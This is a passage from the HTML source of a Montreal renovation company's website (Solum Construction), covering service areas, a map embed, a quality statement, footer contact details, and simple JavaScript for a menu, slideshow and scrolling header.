d="m58.504 71.73h-17.004c-0.32812 0-0.63281 0.16797-0.80469 0.44922-0.17187 0.27734-0.1875 0.625-0.042968 0.91797l1.8906 3.7773c0.16016 0.32031 0.48828 0.52344 0.84375 0.52344h13.227c0.35938 0 0.68359-0.20313 0.84375-0.52344l1.8906-3.7773c0.14844-0.29297 0.13281-0.64062-0.042968-0.91797-0.17188-0.27734-0.47656-0.44922-0.80469-0.44922zm-2.4727 3.7773h-12.059l-0.94531-1.8906h13.949zm-19.152-3.7734-8.5039-0.94531c-0.26953-0.03125-0.53516 0.054688-0.73438 0.23438-0.19922 0.17969-0.31641 0.43359-0.31641 0.70312v5.668c0 0.26953 0.11328 0.52344 0.31641 0.70312 0.21094 0.1875 0.48438 0.26562 0.73438 0.23438l8.5039-0.94531c0.47656-0.054688 0.83984-0.45703 0.83984-0.9375v-3.7773c0-0.48047-0.36328-0.88672-0.83984-0.9375zm-1.0508 3.8711-6.6133 0.73438v-3.5586l6.6133 0.73438zm27.293-3.8711c-0.48047 0.054687-0.83984 0.45703-0.83984 0.9375v3.7773c0 0.48047 0.36328 0.88672 0.83984 0.9375l8.5039 0.94531c0.25781 0.03125 0.52734-0.050781 0.73438-0.23438 0.19922-0.17969 0.31641-0.43359 0.31641-0.70312v-5.668c0-0.26953-0.11328-0.52344-0.31641-0.70312-0.19922-0.17969-0.46484-0.26563-0.73438-0.23438zm7.6641 4.6055-6.6133-0.73438v-2.0898l6.6133-0.73438zm6.6133-19.73h-4.7227c-0.43359 0-0.8125 0.29688-0.91797 0.71484l-0.027343 0.11328-0.48828-1.9492c-0.94531-3.793-4.3398-6.4414-8.25-6.4414h-25.496c-3.6641 0-6.9062 2.3359-8.0664 5.8125l-1.0312 3.0898-0.15625-0.63281c-0.10547-0.42188-0.48438-0.71484-0.91797-0.71484h-4.7227c-0.29297 0-0.56641 0.13281-0.74609 0.36328-0.17969 0.23047-0.24219 0.52734-0.17188 0.80859l0.94531 3.7773c0.10547 0.42188 0.48438 0.71484 0.91797 0.71484h3.0195l-3.2461 5.1953c-0.46875 0.75-0.71875 1.6172-0.71875 2.5039v10.254c0 2.6055 2.1211 4.7227 4.7227 4.7227v2.8359c0 1.5625 1.2695 2.8359 2.8359 2.8359h5.668c1.5625 0 2.8359-1.2695 2.8359-2.8359v-2.8359h22.676v2.8359c0 1.5625 1.2695 2.8359 2.8359 2.8359h5.668c1.5625 0 2.8359-1.2695 2.8359-2.8359v-2.8359c2.6055 0 4.7227-2.1211 4.7227-4.7227v-10.254c0-0.88672-0.25-1.75-0.71875-2.5039l-3.2461-5.1953h3.0195c0.43359 0 0.8125-0.29688 0.91797-0.71484l0.94531-3.7773c0.070313-0.28125 0.007813-0.58203-0.17187-0.80859-0.17969-0.23047-0.45313-0.36328-0.74609-0.36328zm-46.176-1.1445c0.90234-2.707 3.4219-4.5234 6.2734-4.5234h25.496c3.0391 0 5.6797 2.0586 6.4141 5.0078l1.2422 4.9648-1.543 1.0312c-2.1797 1.4531-4.7188 2.2227-7.3359 2.2227h-23.539c-2.6211 0-5.1562-0.76953-7.3359-2.2227l-1.4961-1 1.8281-5.4844zm-7.4102 3.0352h2.7773l0.47266 1.8906h-2.7773zm12.961 29.289c0 0.51953-0.42578 0.94531-0.94531 0.94531h-5.668c-0.51953 0-0.94531-0.42578-0.94531-0.94531v-2.8359h7.5586zm34.012 0c0 0.51953-0.42188 0.94531-0.94531 0.94531h-5.668c-0.51953 0-0.94531-0.42578-0.94531-0.94531v-2.8359h7.5586zm4.7227-17.812v10.254c0 1.5625-1.2695 2.8359-2.8359 2.8359h-45.348c-1.5625 0-2.8359-1.2695-2.8359-2.8359v-10.254c0-0.53125 0.14844-1.0508 0.42969-1.5039l3.6328-5.8125 1.2891 0.85938c2.4922 1.6602 5.3906 2.5391 8.3867 2.5391h23.539c2.9922 0 5.8945-0.87891 8.3867-2.5391l1.2891-0.85938 3.6328 5.8125c0.28125 0.44922 0.42969 0.96875 0.42969 1.5zm0.20703-9.5859h-2.7734l0.47266-1.8906h2.7734zm14.266-37.742-39.68-13.227c-0.19531-0.066406-0.40234-0.066406-0.59766 0l-39.684 13.227c-0.38672 0.12891-0.64453 0.48828-0.64453 0.89453v66.133c0 0.52344 0.42188 0.94531 0.94531 0.94531h6.6133c0.52344 0 0.94531-0.42188 0.94531-0.94531v-44.402h64.246v44.402c0 0.52344 0.42188 0.94531 0.94531 0.94531h6.6133c0.52344 0 0.94531-0.42188 0.94531-0.94531l-0.003906-66.129c0-0.40625-0.26172-0.76953-0.64453-0.89453zm-78.715 1.5781 38.734-12.91 38.734 12.91v4.043h-77.469zm70.859 11.602h-64.246v-1.8906h64.246zm-64.246 1.8906h64.246v1.8906h-64.246zm64.246-5.668h-64.246v-1.8906h64.246zm-66.137 56.684h-4.7227v-58.574h4.7227zm1.8906-45.348v-1.8906h64.246v1.8906zm70.859 45.348h-4.7227l-0.003906-58.574h4.7227v58.574z">
</path>
</svg>
<div class="content">
<p class="text-xl lg:text-2xl">Small Concrete Jobs </p><span
class="w-12 h-12 flex transition-transform duration-300 ease-out group-hover:translate-x-[10px]"><svg
class="group-hover:color-[#c4ab8d] group-hover:fill-[#c4ab8d]" width="100%" height="100%"
version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" id="1418917300"
class="svg u_1418917300" data-icon-custom="true" data-hover-effect="forward">
<path
d="m58.102 64.801 1.3984 1.3984 16.199-16.199-16.199-16.199-1.3984 1.3984 13.797 13.801h-47.598v2h47.598z">
</path>
</svg></span>
</div>
</a>
</div>
</div>
</section>
<!-- Service Areas -->
<section class="bg-[#1e3a5f] text-white py-16 lg:py-[100px] px-4">
<div class="max-w-[755px] mx-auto text-center">
<h2 class="text-3xl md:text-4xl text-[#e6e6dd] font-merriweather py-2.5 block">SERVICE AREAS</h2>
<p class="text-base color-[#f4f4f4] mt-[30px] mb-2 leading-8">
We serve Town of Mount Royal, as well as the entire island of Montreal and the North Shore.
Our team excels in managing Montreal's logistical challenges to deliver quality services
throughout the Greater Montreal Area with care and efficiency.
</p>
<p class="text-2xl leading-[26pxs] italic text-[#c4ab8d] font-merriweather mt-[30px] mb-2">
Give us a call <span class="text-[#e6e6dd]">and let’s talk about your project!</span>
</p>
</div>
</section>
<!--section Map-->
<section class="h-96 w-full">
<iframe
src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2795.597632092616!2d-73.640!3d45.515!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4cc91a4f2b8d5a5b%3A0x2d2a2c9a4af0!2sMontreal%2C%20QC!5e0!3m2!1sen!2sca!4v1700000000000"
width="100%" height="100%" class="border-0 opacity-40" allowfullscreen="" loading="lazy"
referrerpolicy="no-referrer-when-downgrade">
</iframe>
</section>
<!--start Quality and Presision-->
<section class="w-full bg-[#f4f4f4] py-16 lg:py-[100px] px-4 relative overflow-hidden
after:content-['']
after:absolute after:block
after:w-[236px] after:h-[145px]
after:-right-2 after:-bottom-2
after:bg-[url('./images/logo-for-bg.webp')]
after:bg-no-repeat after:bg-center after:bg-contain
after:opacity-[0.2]">
<div class="max-w-[637px] mx-auto text-center ">
<!-- Title -->
<h2 class="lg:text-4xl text-3xl font-merriweather font-medium text-[#1e3a5f] tracking-wide">
QUALITY AND PRECISION
</h2>
<!-- Subtitle -->
<h3 class="lg:text-4xl text-3xl font-montserrat italic text-[#c7b79c] mt-1">
under One Roof
</h3>
<!-- Paragraph 1 -->
<p class="text-lg text-gray-700 leading-[170%] mt-[30px]">
Because your home deserves the best, Solum Construction emphasizes a
collaborative approach at every stage of your renovation.
</p>
<!-- Paragraph 2 -->
<p class="text-lg text-gray-700 leading-[170%] mt-6">
Thanks to modern tools such as QuickBooks for fast, fluid communication,
attentive customer service and high-quality materials, we ensure meticulous
results that meet your expectations and your budget.
</p>
<!-- Logo -->
<div class="mt-[30px]">
<img src="./images/Apchq_identite-horizontale_rvb-1920w.webp" alt="APCHQ" class="mx-auto w-[280px]">
</div>
<!-- Member Number -->
<p class="text-xs text-gray-500 mt-2">
member number : 920688
</p>
</div>
</section>
<!-- Footer CTA -->
<section class="relative py-16 lg:py-[100px] bg-fixed bg-center bg-cover"
style="background-image: url('./images/Adhome_1079432276-2880w.webp');">
<div class="absolute inset-0 bg-[rgba(30,58,95,1)] opacity-30"></div>
<div class="relative max-w-4xl mx-auto px-6 text-center text-white space-y-6">
<div class="flex flex-col items-center space-y-3">
<h2
class="text-3xl md:text-32 leading-9 text-[rgba(230,230,221,1)] font-bold font-merriweather lg:leading-snug">
Trust
Solum Construction<br /><i class="font-normal montserrat"> for your renovations!</i>
</h2>
</div>
<!-- Call to action -->
<div class="flex mt-[30px] mb-2 justify-center">
<a href="#contact"
class="text-white inline-flex bg-[rgb(30,58,95)] items-center justify-center md:w-[300px] w-auto py-3.5 px-4 border border-white/80 text-base font-normal tracking-wider hover:bg-white hover:text-slate-900 transition">
Get a Free Estimate
</a></div>
</div>
</section>
<!-- ===================================
FOOTER / CONTACT
==================================== -->
<footer class="bg-[#f4f4f4] pt-20 pb-0 footer relative overflow-hidden
after:content-['']
after:absolute after:block
after:w-[236px] after:h-[145px]
after:-right-2 after:bottom-10
after:bg-[url('./images/logo-for-bg.webp')]
after:bg-no-repeat after:bg-center after:bg-contain
after:opacity-[0.2]">
<div class="max-w-6xl mx-auto px-6 grid grid-cols-1 md:grid-cols-3 items-start gap-10">
<!-- Logo -->
<div class="flex justify-center md:justify-start">
<img src="./images/logo-for-bg.webp" alt="Logo" class="h-28 w-auto" />
</div>
<!-- Address + Hours -->
<div class="space-y-6 text-gray-700">
<div>
<p class="font-semibold text-[rgb(30,58,95)]">Address</p>
<p class='text-black'>Villeray, Montreal, QC<br />H2P 2C3</p>
</div>
<div>
<p class="font-semibold text-[rgb(30,58,95)]">Opening Hours</p>
<p class='text-black'>lundi - vendredi<br />10h00 - 18h00</p>
</div>
</div>
<!-- Contact -->
<div class="space-y-6 text-gray-700">
<div>
<p class="font-semibold text-[rgb(30,58,95)]">Phone</p>
<p class="text-[rgb(196,171,141)]">514-835-8396</p>
</div>
<div>
<p class="font-semibold text-[rgb(30,58,95)]">Email</p>
<p><a class="text-[rgb(196,171,141)]"
href="mailto:info@solum-construction.com">info@solum-construction.com</a></p>
</div>
<div>
<p class="font-normal text-[rgb(30,58,95)]">RBQ 5851-0462-01</p>
</div>
</div>
</div>
<!-- Bottom Bar -->
<div class="mt-16 bg-blue-900 text-white py-4 text-sm">
<div class="max-w-6xl mx-auto px-6 flex flex-col md:flex-row items-center justify-between">
<p>© 2025 All Rights Reserved | Solum Construction</p>
<p class="mt-2 md:mt-0">Privacy Policy</p>
</div>
</div>
</footer>
</main>
<style>
body,
.montserrat {
font-family: "Montserrat", sans-serif;
}
.font-merriweather {
font-family: 'Merriweather', serif;
}
.slide {
opacity: 0;
transform: scale(1.06);
transition: opacity 1.2s ease-in-out, transform 8s ease-in-out;
}
.slide.active {
opacity: 1;
transform: scale(1);
}
header .logo {
transition: 0.5s ease-in-out;
}
header.active .logo {
width: 90px;
height: 90px;
}
.header-link.active {
font-weight: 600;
border-bottom: 1px solid;
}
.mobile-links.active {
color: rgb(30, 58, 94);
font-weight: 600;
}
.mobile-links:hover {
color: rgb(30, 58, 94) !important;
}
.our-services a:hover svg{
fill:#c4ab8d;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', function () {
const links = document.querySelectorAll('.header-link');
links.forEach(link => {
link.addEventListener('click', function (e) {
e.preventDefault();
links.forEach(l => l.classList.remove('active'));
this.classList.add('active');
});
});
});
document.addEventListener('DOMContentLoaded', function () {
const links = document.querySelectorAll('.mobile-links');
links.forEach(link => {
link.addEventListener('click', function (e) {
e.preventDefault();
links.forEach(l => l.classList.remove('active'));
this.classList.add('active');
});
});
});
const menuToggle = document.getElementById('menuToggle');
const closeMenuBtn = document.getElementById('closeMenu');
const mobileMenu = document.getElementById('mobileMenu');
const mobileOverlay = document.getElementById('mobileOverlay');
function openMenu() {
mobileMenu.classList.remove('translate-x-full');
mobileOverlay.classList.remove('pointer-events-none');
mobileOverlay.classList.add('opacity-100');
}
function closeMenu() {
mobileMenu.classList.add('translate-x-full');
mobileOverlay.classList.add('pointer-events-none');
mobileOverlay.classList.remove('opacity-100');
}
menuToggle.addEventListener('click', openMenu);
closeMenuBtn.addEventListener('click', closeMenu);
mobileOverlay.addEventListener('click', closeMenu);
// Hero slider
const slides = document.querySelectorAll('.slide');
let current = 0;
function showNextSlide() {
slides[current].classList.remove('active');
current = (current + 1) % slides.length;
slides[current].classList.add('active');
}
setInterval(showNextSlide, 6000);
document.addEventListener('DOMContentLoaded', function () {
const header = document.getElementById('siteHeader');
const headerLinks = document.querySelectorAll('.header-link');
const headerBtn = document.querySelector('.header-btn');
function updateHeader() {
const scrolled = window.scrollY > 80;
if (scrolled) {
header.classList.remove('bg-transparent', 'backdrop-blur-0');
header.classList.add('bg-white/90', 'shadow', 'backdrop-blur-md', 'active');
headerLinks.forEach(link => {
link.classList.remove('text-white');
link.classList.add('text-[rgb(30,58,94)]');
});
if (headerBtn) {
headerBtn.classList.remove('border-white', 'text-white', 'hover:bg-white', 'hover:text-slate-900');
headerBtn.classList.add('border-[rgb(30,58,94)]', 'text-[rgb(30,58,94)]', 'hover:bg-[rgb(30,58,94)]',
'hover:text-white');
}
} else {
header.classList.remove('bg-white/90', 'shadow', 'backdrop-blur-md', 'active');
header.classList.add('bg-transparent', 'backdrop-blur-0');
headerLinks.forEach(link => {
link.classList.remove('text-[rgb(30,58,94)]');
link.classList.add('text-white');
});
if (headerBtn) {
headerBtn.classList.remove('border-[rgb(30,58,94)]', 'text-[rgb(30,58,94)]', 'hover:bg-[rgb(30,58,94)]',
'hover:text-white');
headerBtn.classList.add('border-white', 'text-white', 'hover:bg-white', 'hover:text-slate-900');
}
}
}
window.addEventListener('scroll', updateHeader);
updateHeader();
});
</script>
</body>
</html>